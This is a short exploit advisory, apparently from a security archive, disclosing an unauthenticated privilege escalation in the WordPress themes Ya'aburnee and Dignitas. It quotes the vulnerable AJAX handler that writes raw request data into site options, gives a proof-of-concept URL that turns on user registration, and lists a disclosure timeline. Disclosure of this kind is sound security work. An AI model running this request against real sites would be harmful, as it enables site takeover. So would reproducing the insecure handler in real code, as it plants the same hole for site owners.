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WordPress Ya'aburnee / Dignitas Privilege Escalation

WordPress Ya'aburnee / Dignitas Privilege Escalation
Posted Mar 4, 2015
Authored by Evex

WordPress Ya'aburnee theme version 1.0.7 and Dignitas theme 1.1.9 suffer from a privilege escalation vulnerability.

tags | exploit
SHA-256 | 37ce88880aa5688e3b5d1d56ea6f15647fe379e279c550ce24f8011e752eea85

WordPress Ya'aburnee / Dignitas Privilege Escalation

Change Mirror Download
------------------------------------------------------------------------------
WordPress Different-Themes Previlage Escalation
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[-] Vulnerability Author:

@Evex_1337

[-] Themes Affected:

Ya'aburnee
Dignitas

[-] Themes Link:
http://themeforest.net/item/yaaburnee-magazine-ecommerce-theme/6662982http://themeforest.net/item/dignitas-hotel-apartment-responsive-theme/5073713

[-] Affected Version:

Version: 1.1.9 (Dignitas)
Version: 1.0.7 (Ya'aburnee)

[-] Vulnerability Description:

This vulnerability allows an attacker to escalate previleges on the
site and have an admin account which may lead to a full site takeover
the vulnerability is in function "df_save_options":

function df_save_options() {
$fields = $_REQUEST;
foreach($fields as $key => $field) {
if($key!="action") {
echo $key."-".$field;
update_option($key,$field);
}
}
die();
}

passing user input into the update_option function allows an attacker
to update options like users_can_register,default_role.... etc
this can be accessed via ajax by users and non-users:

add_action('wp_ajax_nopriv_df_save_options', 'df_save_options');
add_action('wp_ajax_df_save_options', 'df_save_options');

[-] Proof of Concept:

this will enable user
registrationhttp://localhost/x/wordpress/wp-admin/admin-ajax.php?action=df_save_options&users_can_register=1

[-] Timeline:
03 March - Vendor Notified
04 March - Fix Released
04 March - Public Disclosure
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